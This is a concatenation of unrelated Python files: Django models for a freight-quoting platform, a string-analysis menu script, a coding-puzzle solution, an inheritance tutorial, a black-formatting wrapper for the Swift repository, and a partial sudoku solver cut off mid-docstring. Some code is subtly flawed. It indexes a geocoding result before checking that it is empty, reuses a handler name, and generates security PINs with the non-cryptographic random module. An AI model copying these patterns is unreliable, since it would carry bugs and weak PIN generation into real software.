    descripcion = models.CharField(verbose_name="Descripcion de la deduccion", max_length=40, default="", blank=True)

    class Meta:
        verbose_name = "Deducciones"
        verbose_name_plural = "Deducciones"

    def __str__(self):
        return f'{self.nombre}'

#Cambiar Rechazada a No exitosa
ESTADO_COTIZACION = (
    ('Pendiente','Pendiente'),
    ('Aceptada','Aceptada'),
    ('Rechazada','Rechazada'),
    ('Confirmada','Confirmada'),
    ('Cancelada','Cancelada'),
    ('Solicitud cancelada','Solicitud cancelada'),
    ('Pagada','Pagada'),
    ('Pendiente de pago','Pendiente de pago')
)

class Cotizacion(models.Model):
    transportista_id = models.ForeignKey(
        Transportista,
        verbose_name="Transportista",
        on_delete=models.CASCADE)
    solicitud_id = models.ForeignKey(
        Solicitud,
        verbose_name="Solicitud",
        on_delete=models.CASCADE)
    unidad_id = models.ForeignKey(
        Unidades,
        verbose_name="Unidad",
        on_delete=models.CASCADE)
    creado = models.DateTimeField(editable=False)
    modificado = models.DateTimeField()
    monto = models.FloatField(
        verbose_name="Monto")
    folio = models.CharField(verbose_name="Folio", max_length=100, editable=True, unique = True)
    estado_cotizacion = models.CharField(verbose_name="Estado", choices=ESTADO_COTIZACION, max_length=40, default="Pendiente")
    motivo_cancelacion = models.TextField(verbose_name="Motivo de cancelación", null=True, blank=True)
    fecha_servicio = models.DateTimeField(verbose_name="Fecha de servicio de solictud",null=True, blank=True)
    correo_recordatorio = models.IntegerField(verbose_name="Corrreos enviados para recordatorio de confirmación", default=0)
    total = models.FloatField(
        verbose_name="Total", null=True, blank=True)
    iva = models.FloatField(verbose_name="IVA", default=0)
    comision = models.FloatField(verbose_name="Comision de viaje", default=0)
    slug = models.SlugField(null=True, blank=True)
    nivel_seguro = models.ForeignKey(
        Seguro,
        verbose_name="Nivel de Seguro",
        on_delete=models.CASCADE,
        null=True,
        blank=True)
    es_asegurada = models.BooleanField(
        verbose_name="Viaje asegurado",
        default=False,)
    aceptar_tyc = models.BooleanField(
        verbose_name="Aceptación de términos y condiciones de seguro",
        default=False,)
    activo = models.BooleanField(
        verbose_name="Activo",
        default=True,)

    class Meta:
        verbose_name = "Cotizaciones"
        verbose_name_plural = "Cotizaciones"

    def save(self, *args, **kwargs):
        ''' On save, update timestamps '''
        iva = Deduccion.objects.filter(nombre='iva').values()[0]['porcentaje']
        if self.iva == 0:
            self.iva = iva
        if self.comision == 0:
            self.comision = Deduccion.objects.filter(nombre='comision_viaje').values()[0]['porcentaje']
        if not self.id:
            self.creado = timezone.now()

        self.total = 0
        if self.es_asegurada:
            subtotal = self.monto + self.nivel_seguro.costo
        else:
            subtotal = self.monto
        #print(iva[0]['porcentaje'])
        self.total = int(subtotal + subtotal * iva)

        if self.fecha_servicio == None or self.fecha_servicio == "":
            self.fecha_servicio = self.solicitud_id.fecha_servicio

        self.modificado = timezone.now()

        return super(Cotizacion, self).save(*args, **kwargs)

    def __str__(self):
        return f'{self.folio}'

    @property
    def getClienteId(self):
        return self.solicitud_id.cliente_id

    @property
    def getSubtotal(self):
        return self.monto + self.nivel_seguro.costo if self.es_asegurada else self.monto

    @property
    def getIva(self):
        return self.getSubtotal * self.iva

    @property
    def getSubTotalComision(self):
        return self.monto * self.comision

    @property
    def getIvaComision(self):
        return self.getSubTotalComision * self.iva

    @property
    def getTotalComision(self):
        return self.getSubTotalComision + self.getIvaComision

ESTADO_ORDEN = (
    ('paid','paid'),
    ('Pendiente','Pendiente'),
)

class Orden(models.Model):
    cotizacion_id = models.OneToOneField(Cotizacion, on_delete=models.CASCADE)
    link_id = models.CharField(max_length = 500, null=True, blank=True)
    link_url = models.URLField(max_length = 500, null=True, blank=True)
    link_status = models.CharField(max_length = 200, null=True, blank=True)
    orden_id = models.CharField(max_length = 200, null=True, blank=True)
    orden_status = models.CharField(max_length = 200, null=True, blank=True)
    correo_recordatorio = models.IntegerField(verbose_name="Corrreos enviados para recordatorio de pago", default=0)

    class Meta:
        verbose_name = "Ordenes"
        verbose_name_plural = "Ordenes"

    def __str__(self):
        return f'Orden de cotización {self.cotizacion_id}'

    def has_orden(self):
        return True if self.orden_id else False

ESTADO_VIAJE = (
    ('Creado','Creado'),
    ('Iniciado','Iniciado'),
    ('Terminado','Terminado'),
    ('Pendiente de pago','Pendiente de pago'),
    ('Pendiente de validación','Pendiente de validación'),
    ('Cerrado','Cerrado'),
    ('Vencido','Vencido'),
    ('Disputa','Disputa'),
    ('Accidente','Accidente'),
    ('Cancelado por cliente','Cancelado por cliente'),
    ('Cancelado por transportista','Cancelado por transportista'),
)

class Viaje(models.Model):
    orden_id = models.OneToOneField(Orden, on_delete=models.CASCADE)
    creado = models.DateTimeField(editable=False)
    modificado = models.DateTimeField()
    folio = models.CharField(verbose_name="Folio", max_length=100, editable=True, unique = True)
    slug = models.SlugField(null=True, blank=True)
    estado_viaje = models.CharField(verbose_name="Estado", choices=ESTADO_VIAJE, max_length=40, default="Creado")
    hora_inicio = models.TimeField(verbose_name="Hora de inicio", null=True, blank=True)
    hora_llegada = models.TimeField(verbose_name="Hora de llegada", null=True, blank=True)
    nip_checkin = models.IntegerField(verbose_name="NIP de seguridad checkin", null=True, blank=True)
    nip_checkout = models.IntegerField(verbose_name="NIP de seguridad checkout", null=True, blank=True)
    comentarios = models.TextField(null=True, blank=True)
    fecha_servicio = models.DateTimeField(verbose_name="Fecha de servicio de solictud",null=True, blank=True)
    factura_pdf = models.FileField(upload_to='uploads/%Y/%m/%d/', verbose_name="Factura pdf", null=True, blank=True)
    factura_xml = models.FileField(upload_to='uploads/%Y/%m/%d/', verbose_name="Factura xml", null=True, blank=True)
    es_validado = models.BooleanField(verbose_name="Validado por administrador", default=False)
    motivo_cancelacion = models.TextField(verbose_name="Motivo de cancelación",  null=True, blank=True)
    activo = models.BooleanField(
        verbose_name="Activo",
        default=True,)
    is_calificado = models.BooleanField(
        verbose_name="Calificado",
        default=False,)
    #facturado_cliente = models.BooleanField(verbose_name="Es válido", default=False)
    #facturado_transportista = models.BooleanField(verbose_name="Es válido", default=False)

    class Meta:
        verbose_name_plural = "Viajes"

    def save(self, *args, **kwargs):
        ''' On save, update timestamps '''
        if not self.creado:
            self.creado = timezone.now()
        self.modificado = timezone.now()
        if self.nip_checkin is None:
            number = f'{random.randint(1,9)}{random.randint(0,9)}{random.randint(0,9)}{random.randint(0,9)}'
            self.nip_checkin = int(number)
        if self.nip_checkout is None:
            number = f'{random.randint(1,9)}{random.randint(0,9)}{random.randint(0,9)}{random.randint(0,9)}'
            self.nip_checkout = int(number)
        if self.folio is None or self.folio == "":
            self.folio = f'FS{self.orden_id.cotizacion_id.getClienteId}A{self.orden_id.cotizacion_id.id}'
        if self.slug is None:
            self.slug = f'FS{self.orden_id.cotizacion_id.getClienteId}A{self.orden_id.cotizacion_id.id}'
        if self.fecha_servicio == None or self.fecha_servicio == "":
            self.fecha_servicio = self.orden_id.cotizacion_id.solicitud_id.fecha_servicio
        return super(Viaje, self).save(*args, **kwargs)

    def __str__(self):
        return f'{self.folio}'

    @property
    def getClienteId(self):
        return self.orden_id.cotizacion_id.getClienteId

    @property
    def hasLlegada(self):
        return True if self.hora_llegada else False

    @property
    def hasInicio(self):
        return True if self.hora_inicio else False

    @property
    def getTransportista(self):
        return self.orden_id.cotizacion_id.transportista_id

    @property
    def solicitud(self):
        return self.orden_id.cotizacion_id.solicitud_id

    @property
    def cotizacion(self):
        return self.orden_id.cotizacion_id

    @property
    def hasCalificacion(self):
        return True if self.calificacionesviajes else False

    @property
    def hasFacturaCliente(self):
        try:
            return True if self.facturascliente else False
        except:
            return False

    @property
    def hasFacturaTransportista(self):
        try:
            return True if self.facturastransportista else False
        except:
            return False

STARS = (
    (1,'1'),
    (2,'2'),
    (3,'3'),
    (4,'4'),
    (5,'5'),
)

class CalificacionesViajes(models.Model):
    viaje_id = models.OneToOneField(Viaje, on_delete=models.CASCADE)
    #foreign key transportista
    transportista_id = models.ForeignKey(
        Transportista,
        verbose_name="Transportista",
        on_delete=models.CASCADE)
    calificacionTransportista =  models.IntegerField(choices=STARS, default=5)
    comentarios = models.TextField(verbose_name="Comentarios", null=False, default="")
    slug = models.SlugField(null=True, blank=True)
    creado = models.DateTimeField(editable=False)
    modificado = models.DateTimeField()

    def save(self, *args, **kwargs):
        ''' On save, update timestamps '''
        if not self.id:
            self.creado = timezone.now()
        self.modificado = timezone.now()
        if self.slug is None:
            self.slug = f'FS{self.viaje_id}-{self.transportista_id}'
        return super(CalificacionesViajes, self).save(*args, **kwargs)

    def __str__(self):
        return f'{self.slug}'

class FacturasCliente(models.Model):
    viaje_id = models.OneToOneField(Viaje, on_delete=models.CASCADE)
    cliente_id = models.ForeignKey(Cliente, on_delete=models.CASCADE)
    folio = models.CharField(verbose_name="Folio", max_length=100, editable=True, unique = True)
    creado = models.DateTimeField(editable=False)
    modificado = models.DateTimeField()
    slug = models.SlugField(null=True, blank=True)

    def __str__(self):
        return f'{self.folio}'

    def save(self, *args, **kwargs):
        ''' On save, update timestamps '''
        if not self.id:
            self.creado = timezone.now()
        self.modificado = timezone.now()
        if self.slug is None:
            self.slug = f'FACL{self.viaje_id}'
        return super(FacturasCliente, self).save(*args, **kwargs)

class FacturasTransportista(models.Model):
    viaje_id = models.OneToOneField(Viaje, on_delete=models.CASCADE)
    transportista_id = models.ForeignKey(Transportista, on_delete=models.CASCADE)
    folio = models.CharField(verbose_name="Folio", max_length=100, editable=True, unique = True)
    creado = models.DateTimeField(editable=False)
    modificado = models.DateTimeField()
    slug = models.SlugField(null=True, blank=True)

    def __str__(self):
        return f'{self.folio}'

    def save(self, *args, **kwargs):
        ''' On save, update timestamps '''
        if not self.id:
            self.creado = timezone.now()
        self.modificado = timezone.now()
        if self.slug is None:
            self.slug = f'FATR{self.viaje_id}'
        return super(FacturasTransportista, self).save(*args, **kwargs)

#SIGNALS
#CREATE FOLIO AND SLUG OF SOLICITUD
@receiver(post_save, sender=Solicitud)
def createFolioSolicitud(sender,instance,**kwargs):
    folio = instance.id
    if instance.folio is None or instance.folio == "":
        Solicitud.objects.filter(
                id=folio
            ).update(
                folio=f'SCO{instance.cliente_id.user.username}A{folio}',
        )
    if instance.slug is None:
        Solicitud.objects.filter(
                id=folio
            ).update(
                slug=slugify(f"SCO{instance.cliente_id.user.username}A{folio}")
    )
#post_save.connect(createFolioSolicitud, sender=Solicitud)

#CREATE FOLIO AND SLUG OF COTIZACION
@receiver(post_save, sender=Cotizacion)
def createFolioCotizacion(sender,instance,**kwargs):
    folio = instance.id
    if instance.folio is None or instance.folio == "":
        Cotizacion.objects.filter(
                id=folio
            ).update(
                folio=f'CO{instance.transportista_id.user.username}A{folio}',
        )
    if instance.slug is None:
        Cotizacion.objects.filter(
                id=folio
            ).update(
                slug=slugify(f"{instance.transportista_id.user.username}A{folio}")
    )

#CREATE FOLIO AND SLUG OF FACTURACIONES CLIENTE
@receiver(post_save, sender=FacturasCliente)
def createFolioFacturacion(sender,instance,**kwargs):
    folio = instance.id
    if instance.folio is None or instance.folio == "":
        FacturasCliente.objects.filter(
                id=folio
            ).update(
                folio=f'FACL{instance.cliente_id.user.username}A{folio}',
        )
    if instance.slug is None:
        FacturasCliente.objects.filter(
                id=folio
            ).update(
                slug=slugify(f"FACL{instance.cliente_id.user.username}A{folio}")
    )

#CREATE FOLIO AND SLUG OF FACTURACIONES TRANSPORTISTA
@receiver(post_save, sender=FacturasTransportista)
def createFolioFacturacion(sender,instance,**kwargs):
    folio = instance.id
    if instance.folio is None or instance.folio == "":
        FacturasTransportista.objects.filter(
                id=folio
            ).update(
                folio=f'FATR{instance.transportista_id.user.username}A{folio}',
        )
    if instance.slug is None:
        FacturasTransportista.objects.filter(
                id=folio
            ).update(
                slug=slugify(f"FATR{instance.transportista_id.user.username}A{folio}")
    )

#CREATE FacturaCliente if viaje don´t have it
@receiver(post_save, sender=Viaje)
def createFacturacionCliente(sender,instance,**kwargs):
    if not instance.hasFacturaCliente and not instance.hasFacturaTransportista and instance.estado_viaje == 'Pendiente de pago':
        facturaC = FacturasCliente.objects.create(viaje_id=instance,cliente_id=instance.getClienteId)
        facturaT = FacturasTransportista.objects.create(viaje_id=instance,transportista_id=instance.getTransportista)

@receiver(post_save, sender=Cotizacion)
def create_ruta(sender, instance, **kwargs):
    solicitud = instance.solicitud_id
    if solicitud.estado_solicitud != 'Asignada':
        solicitud.estado_solicitud = "Cotizada"
        solicitud.save()

@receiver(post_delete, sender=Cotizacion)
def validarEsatdoCotizacion(sender,instance,**kwargs):
    solicitud = instance.solicitud_id
    if not solicitud.has_cotizaciones():
        solicitud.estado_solicitud = "Publicada"
        solicitud.save()

@receiver(post_save, sender=Domicilios)
def addLonLat(sender, instance, **kwargs):
    gmaps = googlemaps.Client(key=settings.GOOGLE_API_KEY)
    direction = f'{instance.calle} {instance.num_ext} {instance.colonia} {instance.estado}'
    geocode_result = gmaps.geocode(direction)
    direccion_google = geocode_result[0]["formatted_address"]
    if len(geocode_result) == 0 or len(direccion_google) < 50:
        Domicilios.objects.filter(id=instance.id).update(
            is_valid = False,
            google_format = "Invalid"
        )
    else:
        Domicilios.objects.filter(id=instance.id).update(
            latitud = geocode_result[0]["geometry"]["location"]["lat"],
            longitud = geocode_result[0]["geometry"]["location"]["lng"],
            google_place_id = geocode_result[0]["place_id"],
            google_format = direccion_google,
            is_valid = True
        )

#CREATE VIAJE WHEN ORDEN IS 'Pagada'
@receiver(post_save, sender=Orden)
def crearViaje(sender, instance, **kwargs):
    orden = instance

    if orden.orden_status == 'Pagada':
        viaje = Viaje.objects.create(orden_id=orden)

#CREATE FACTURA CLIENTE WHEN VIAJE IS 'CERRADO'
# @receiver(post_save, sender=Viaje)
# def crearViaje(sender, instance, **kwargs):
#     viaje = instance

#     if orden.orden_status == 'Pagada':
#         viaje = Viaje.objects.create(orden_id=orden)


inputlist = list(input("\nEnter String:").split())

numberWords = 0
for i in inputlist:
    numberWords += 1

def findLongWord():

    recordWord = ""
    recordCount = 0

    for word in inputlist:
        letterCount = 0
        for letter in word:
            letterCount += 1

        if letterCount > recordCount:
            recordWord = word
            recordCount = letterCount
        elif letterCount == recordCount:
            recordWord = recordWord + ", " + word

    print(recordWord)

def characterOccurrence():

    character = str(input("Enter character to check occurence for:"))
    characterCount = 0

    for word in inputlist:
        for letter in word:
            if letter == character:
                characterCount += 1

    print(characterCount)

def palindromeChecker():

    characterList = []

    for word in inputlist:
        for letter in word:
            characterList.append(letter)

    if characterList == characterList[::-1]:
        print("Given string is Palindrome")

    else:
        print("Given string is not Palindrome")

def Indexer():
    substr = str(input("Enter word to find index for:"))
    wordnumber = -1
    for word in inputlist:
        wordnumber += 1
        if word == substr:
            print("[", wordnumber, "]:", substr)
            break

def eachWordOccurrence():

    noDuplicateList = []

    for word in inputlist:
        if word not in noDuplicateList:
            noDuplicateList.append(word)

    for word1 in noDuplicateList:
        wordCount = 0
        for word2 in inputlist:
            if word1 == word2:
                wordCount += 1

        print(word1,":",wordCount)

def menu():
    print('''
    =============================================================
    1] Show word with longest length
    2] Find the frequency of occurrence of particular character
    3] Check whether given string is palindrome or not
    4] Show index of first occurrence of a particular word
    5] Show frequency of occurrence of each word
    =============================================================
    ''')

    switch = int(input("Select the operation to be performed:"))

    if switch == 1:
        print("\n The longest word is:")
        findLongWord()
        exitMenu()

    elif switch == 2:
        print("\n")
        characterOccurrence()
        exitMenu()

    elif switch == 3:
        print("\n")
        palindromeChecker()
        exitMenu()

    elif switch == 4:
        print("\n")
        Indexer()
        exitMenu()

    elif switch == 5:
        print("\n")
        eachWordOccurrence()
        exitMenu()

    else:
        print("Please make a valid selection :)")
        print("Returning back to menu....")

def exitMenu():
    print('''
    ==========================
    1] Go back to main menu
    2] Exit
    ==========================
    ''')
    switch2 = int(input("Select:"))

    if switch2 == 1:
        menu()

    elif switch2 == 2:
        exit()

    else:
        print("Please make a valid selection :)")
        exitMenu()

menu()


class Solution:
    def findOriginalArray(self, changed: List[int]) -> List[int]:
        if len(changed)%2!=0:
            return []
        changed.sort()
        temp=[]
        orignal=[]
        for i in changed:
            if not temp:
                orignal.append(i)
                temp.append(i)
                continue
            if i==2*temp[0]:
                temp.pop(0)
                continue
            orignal.append(i)
            temp.append(i)
        print(orignal,temp)
        return orignal if not temp else []

find original array from doubled array.py


class Employee:

    num_of_emps = 0
    raise_amount = 1.04

    def __init__(self,first,last,pay):
        self.first = first
        self.last = last
        self.pay = pay
        self.email = first + '.' + last + '@e.ntu.edu.sg'

        Employee.num_of_emps += 1

    def fullname(self):
        return '{} {}'.format(self.first, self.last)

    def apply_raise(self):
        self.pay = int(self.pay * self.raise_amount)

class Developer(Employee):
    raise_amount = 1.10

    def __init__(self,first,last,pay,prog_lang):
        super().__init__(first,last,pay)
        #Employee.__init__(self,first,last,pay)
        #works too, useful when inheriting multiple classes
        self.prog_lang = prog_lang

class Manager(Employee):
    def __init__(self,first,last,pay,employees=None):
        super().__init__(first,last,pay)
        if employees is None:
            self.employees = []
        else:
            self.employees = employees

    def add_emp(self,emp):
        if emp not in self.employees:
            self.employees.append(emp)

    def remove_emp(self,emp):
        if emp in self.employees:
            self.employees.remove(emp)

    def print_emps(self):
        for emp in self.employees:
            print('-->', emp.fullname())

#Helps you to see all the inherited methods, variables etc.
#print(help(Developer))

dev_1 = Developer('Winfred','Cheok',50000,'Python')
dev_2 = Developer('Melvin','Lim',60000,'Java')

mgr_1 = Manager('Li','Fang',90000,[dev_1])

print(mgr_1.email)
mgr_1.add_emp(dev_2)
mgr_1.remove_emp(dev_1)
mgr_1.print_emps()

#some usefule python functions
print(isinstance(mgr_1, Manager))
print(isinstance(mgr_1, Employee))
print(isinstance(mgr_1, Developer))

print(issubclass(Developer, Employee))
print(issubclass(Manager, Developer))

# print(dev_1.email)
# print(dev_1.prog_lang)
# print(dev_1.pay)
# dev_1.apply_raise()
# #increases by developers 1.10 instead of the usual 1.04
# print(dev_1.pay)

Python OOP 1.4 (Inheritance, Subclasses).py


import argparse
import os
import subprocess
import sys
from pathlib import Path

_SWIFT_PATH = Path(__file__).resolve().parents[1]

_KNOWN_SCRIPT_PATHS = [
    _SWIFT_PATH / "benchmark/scripts/Benchmark_Driver",
    _SWIFT_PATH / "benchmark/scripts/Benchmark_DTrace.in",
    _SWIFT_PATH / "benchmark/scripts/Benchmark_GuardMalloc.in",
    _SWIFT_PATH / "benchmark/scripts/Benchmark_QuickCheck.in",
    _SWIFT_PATH / "benchmark/scripts/Benchmark_RuntimeLeaksRunner.in",
    _SWIFT_PATH / "benchmark/scripts/run_smoke_bench",
    _SWIFT_PATH / "docs/scripts/ns-html2rst",
    _SWIFT_PATH / "test/Driver/Inputs/fake-toolchain/ld",
    _SWIFT_PATH / "utils/80+-check",
    _SWIFT_PATH / "utils/backtrace-check",
    _SWIFT_PATH / "utils/build-script",
    _SWIFT_PATH / "utils/check-incremental",
    _SWIFT_PATH / "utils/coverage/coverage-build-db",
    _SWIFT_PATH / "utils/coverage/coverage-generate-data",
    _SWIFT_PATH / "utils/coverage/coverage-query-db",
    _SWIFT_PATH / "utils/coverage/coverage-touch-tests",
    _SWIFT_PATH / "utils/dev-scripts/blockifyasm",
    _SWIFT_PATH / "utils/dev-scripts/split-cmdline",
    _SWIFT_PATH / "utils/gyb",
    _SWIFT_PATH / "utils/line-directive",
    _SWIFT_PATH / "utils/PathSanitizingFileCheck",
    _SWIFT_PATH / "utils/recursive-lipo",
    _SWIFT_PATH / "utils/round-trip-syntax-test",
    _SWIFT_PATH / "utils/rth",
    _SWIFT_PATH / "utils/run-test",
    _SWIFT_PATH / "utils/scale-test",
    _SWIFT_PATH / "utils/submit-benchmark-results",
    _SWIFT_PATH / "utils/swift_build_support/tests/mock-distcc",
    _SWIFT_PATH / "utils/symbolicate-linux-fatal",
    _SWIFT_PATH / "utils/update-checkout",
    _SWIFT_PATH / "utils/viewcfg",
]

_INSTALL_BLACK_MESSAGE = """\
The black Python package is required for formatting, but it was not found on
your system.

You can install it using:

    python3 -m pip install black

For more help, see https://black.readthedocs.io.
"""

def _get_python_sources():
    """Returns a list of path objects for all known Python sources in the Swift
    project.
    """

    return list(_SWIFT_PATH.rglob("*.py")) + _KNOWN_SCRIPT_PATHS

def _is_package_installed(name):
    """Runs the pip command to check if a package is installed.
    """

    command = [
        sys.executable,
        "-m",
        "pip",
        "show",
        "--quiet",
        name,
    ]

    with open(os.devnull, "w") as devnull:
        status = subprocess.call(command, stderr=devnull)

    return not status

def parse_args():
    parser = argparse.ArgumentParser()

    parser.add_argument(
        "paths",
        type=Path,
        metavar="PATH",
        nargs="*",
        help="Source path to format.",
    )

    parser.add_argument(
        "--check",
        action="store_true",
        help="Don't write the files back, just return the status.",
    )

    parser.add_argument(
        "-v",
        "--verbose",
        action="store_true",
        help="Emit messages to stderr about files that were not changed.",
    )

    parser.add_argument(
        "--diff",
        action="store_true",
        help="Don't write the files back, just output a diff for each file on stdout.",
    )

    parser.add_argument(
        "-S",
        "--skip-string-normalization",
        action="store_true",
        help="Don't normalize string quotes or prefixes.",
    )

    return parser.parse_args()

def main():
    args = parse_args()

    if not _is_package_installed("black"):
        print(_INSTALL_BLACK_MESSAGE)
        return 1

    command = [
        sys.executable,
        "-m",
        "black",
        "--target-version",
        "py38",
    ]

    if args.check:
        command.append("--check")
    if args.verbose:
        command.append("--verbose")
    if args.diff:
        command.append("--diff")
    if args.skip_string_normalization:
        command.append("--skip-string-normalization")

    requested_paths = [path.resolve() for path in args.paths]

    # Narrow down the set of paths to format to only those paths which are either
    # included in the set of requested paths or are subpaths of the requested paths.
    format_paths = {
        known_path
        for path in requested_paths
        for known_path in _get_python_sources()
        if path == known_path or path in known_path.parents
    }

    # Add requested paths that exists, but aren't included in the format set.
    for path in requested_paths:
        if path not in format_paths and path.exists():
            format_paths.add(path)

    command += sorted([str(path) for path in format_paths])

    return subprocess.call(command)

if __name__ == "__main__":
    sys.exit(main())


def F(n):
    if n <= 1:
        return 1
    if n > 1 and n % 2 == 0:
        return 11*n + F(n-1)
    return 11*F(n-2) + n

suma = 0
for n in range(35, 51):
    result = F(n)
    if result % 2 == 0:
        suma += result

print(suma)
print(len(str(suma)))


"""
SDK_v01.py
Version 01
Trata de resolver un sudoku con 2 estrategias, no está implementado Fuerza Bruta, además los valores de configuracion estan cargados en el propio programa
en ese caso un Sudoku de 9 x 9. El plantamiento de resolucion es independiente del tipo de sudoku.

******************
*** FINALIZADO ***
******************
"""

import sys

#*************************
def alert(pipo=""):
#*************************
    """
    Funcion parada, información y continuacion.

    - Argumentos
    pipo (opcional) -> char

    """
    input(pipo+" Pulse Enter para continuar")
    return None

#*************************
def presenta(aVar):
#************************
    """
        Función que nos permite ver la situación del sudoku insertando la función < presenta() > en cualquier lugar del modulo de resolución,
        por tanto su función principal es de apoyo en el chequeo del código que vamos costruyendo.

        Argumentos:
            aVar -> Lista multidimensional

        Ejemplos de salidas:
        1º Sudoku 3 por 3 (recien cargado en el modulo de resolución)
        el signo: ! en la salida nos ayuda a no mezclar cuadros.

        !1| | ! | |7! |9| !
        ! |3| ! |2| ! | |8!
        ! | |9!6| | !5| | !
        ------------------
        ! | |5!3| | !9| | !
        ! |1| ! |8| ! | |2!
        !6| | ! | |4! | | !
        ------------------
        !3| | ! | | ! |1| !
        ! |4| ! | | ! | |7!
        ! | |7! | | !3| | !
        ------------------

        2º Sudoku 3 por 3 en proceso de resolucion, el que haya mas de un numero por casillas indica que son candidatos a ser la solucion de la casilla.

        !    67| 45678|  4678!  3689|     2|  3489! 35689|     1|345678!
        !     9|  4568| 12468!  1368|  1348|     7! 23568| 23568| 34568!
        !     3|  4678|124678!     5|   148|   489!  2689|  2678|  4678!
        ---------------------------------------------------------------
        !   167|     3| 14678!     2|    48|    48!   568|  5678|     9!
        !     5|    89|    89!     7|     6|     1!     4|     3|     2!
        !  1267|  4678|124678!    38|     9|     5!   368|  3678| 13678!
        ---------------------------------------------------------------
        !     4|     2|     5!   138|   138|     6!     7|     9|    38!
        !    67|   679|  3679!   389|   378|  2389!     1|     4|  3568!
        !     8|     1|  3679!     4|     5|   239!   236|   236|    36!
        ---------------------------------------------------------------

    """
    nmax = 0
    nhor = 0
    # Calcular de la lista, la casilla con mas candidatos
    for i in aVar:
        for j in i:
            if len(j) > nmax :
                nmax = len(j)

    for i in aVar:

        ctmp = "!"
        nhor += 1
        nver = 1
        for j in i:
            ctmp += (" " * nmax) if len(j) == 0 else (" " * (nmax-len(j)))
            ctmp += j
            ctmp += "!" if nver%nRSDK == 0 else "|"
            nver +=1

        print(ctmp)
        if nhor%nRSDK == 0:
            print("-"*(nSDK*(nmax+1)))
    alert()

#************************
def ini_congruen(cSum):
#************************
    """
    Funcion que verifica la congruencia del sudoku cargado.
    Congruencia indica: que para cualquier fila,columna o cuadro, no hay ningun elemento repetido.

    Argumentos:
        cSum -> cadena de caracteres de cualquier fila, columna, cuadro.

    Devuelve:
    True -> Si a encontrado un elemento repetido
    False -> en caso contrario
    """

    for i in cSDK:
        if cSum.count(i) > 1:
            return True

    return False

#************************
def ini_comp(aVar,aFil,aCol,aInt):
#************************
    """
    El objetivo de esta funcion es crear para cada fila, columna y cuadro una cadena con los elementos ya resueltos (como maximo los nSDK valores posibles)

    Argumento:
    Se pasan las cuatro listas (aVar,aFil,aCol,aInt) por referencia de las cuales las tres ultimas en base a aVAR se modificaran.
    """

    # Inicializamos aFil,aCol,aInt a ""
    for i in range(0,nSDK):
        aFil[i] = ""
        aCol[i] = ""
        aInt[i] = ""

    # cargamos las filas
    for i in range(0,nSDK):
       for j in range(0,nSDK):
           if len(aVar[i][j]) == 1 :
               aFil[i] += aVar[i][j]

    # cargamos las columnas
    for i in range(0,nSDK):
       for j in range(0,nSDK):
           if len(aVar[j][i]) == 1 :
                aCol[i] += aVar[j][i]

    # cargamos los cuadros
    for i in range(0,nSDK):

        nFil = (int(i/nRSDK)*nRSDK) - 1
        for j in range(0,nRSDK):
            nFil += 1
            nCol = ((i%nRSDK)*nRSDK) -1

            for k in range(0,nRSDK):
                nCol +=1
                if len (aVar[nFil][nCol]) == 1 :
                    aInt[i] += aVar[nFil][nCol]

    return None

#************************
def ele_Int(i,j):
#************************
    """
    Esta funcion nos calculara, conociendo posicion de fila y columna de que cuadro se trata
    ej: para [5,3] -> cuadro 4

    Argumentos:
    i -> integer posicion de fila
    j -> integer posicion de columna

    Devuelve:
    Un integer que nos informa sobre la posicion del cuadro
    """
    nf = int((i)/nRSDK)
    nc = int((j)/nRSDK)
    return (nRSDK*nf)+nc

#************************
def est_Smp(cFil,cCol,cInt):
#************************
    """
    Recibido 3 cadenas y sumadas se trata de averiguar que elementos faltan en nuestra cadena Maestra (cSDK)

    Argumentos:
    cFil -> cadena de caractres de la Fila
    cCol -> cadena de caractres de la Columa
    cInt -> cadena de caractres del Cuadro

    Devuelve:
    Una cadena con los elementos que faltan en la Maestra

    Ej:
    Cadena Maestra : "123456789"
    cFil -> "946"
    cCol -> "7"
    cInt -> "2"
    La funcion devolverá -> "1358"
    """

    cSum = cFil+ cCol + cInt
    cSal = ""

    for i in cSDK:
        if  not(i in cSum):
            cSal += i

    return cSal

#************************
def ele_comp(cele,i,j,nInt,aFil,aCol,aInt):
#************************
    """
    Encontrado un elemento de una casilla nos permite reajustar las listas: fila columna y cuadro con dicho elemento añadiendolo

    Argumentos:
    cele -> elemento encontrado
    i -> Numero de fila
    j -> Numero de columna
    nInt -> numero de cuadro
    aFil -> lista de cadena de caractres de la Fila
    aCol -> lista de cadena de caractres de la Columa
    aInt -> lista de cadena de caractres del Cuadro

    Devuelve nada. Las listas pasadas por referencia son alimentadas con el nuevo valor encontrado
    """
    aFil[i] += cele
    aCol[j] += cele
    aInt[nInt] += cele

    return None

#************************
def Bucle1(aVar,aFil,aCol,aInt,nvuelta):
#************************
    """
    Funcion Estrategia Simple
    Esta funcion tratara de buscar elementos que faltan en el sudoku con el algoritmo Estrategia Simple.
    Sobre una casilla ver, de la suma de los elementos hallados de fila, columna y cuadro, cuantos faltan de la cadena base (cSDK)
    Si solo nos falta uno es el definitivo para dicha casilla.

    Argumentos:
    Se pasan las cuatro listas (aVar,aFil,aCol,aInt) por referencia.
    nvuelta -> integer

    Devuelve:
    Siempre  True, a no ser que interrumpa el programa al encontrar que es irresoluble
    """
    nInt = 0
    lsigue =True

    while lsigue:
        lsigue = False

        for i in range(0,nSDK):
            for j in range(0,nSDK):
                """
                En primera vuelta habrá casillas (las que hay que resolver) de aVar que estaran vacias y en las siguientes vueltas
                con un solo caracter (SOLUCION DE CASILLA) o mas caracteres (PENDIENTE), estos caracteres de mas nos indican
                que son candidatos para ser la solucion de dicha casilla
                Cada vez que consiga solucionar una casilla. Se reinicia el bucle FOR
                """

                # en primera vuelta entraran los que esten vacios y en siguientes los que tengan mas de un candidato
                if len(aVar[i][j]) != 1:

                    #print(aVar[i][j])
                    #alert()

                    # Para este elemento de la matriz, necesitamos conocer a que fila, columna y cuadrado pertenece
                    # fila -> i, columna -> j, ¿ cuadro ?
                    # calcular a que cuadro pertenece
                    nInt = ele_Int(i,j)
                    # estrategia 1º
                    aVar[i][j] = est_Smp(aFil[i],aCol[j],aInt[nInt])

                    """"
                    Si en primera vuelta nvuelta = 0 y ademas nos encontramos que no se ha asignado nada a alguna casilla de la matriz
                    El sudoku es irresoluble.

                    EJEMPLO: Irresoluble
                    Estudio de cuadros [1,2] y [9,2] en ambos falta un 7 lo que daria  lugar a la columna 2 con 2 sietes.
                    1| |4| | | | | | |
                    2|3|5| | | | | | |
                    8|6|9| | | | | | |
                    ------------------
                    6| | | | | | | | |
                    7| | | | | | | | |
                    3| | | | | | | | |
                    ------------------
                    4|8|2| | | | | | |
                    5|1|3| | | | | | |
                    9| |6| | | | | | |
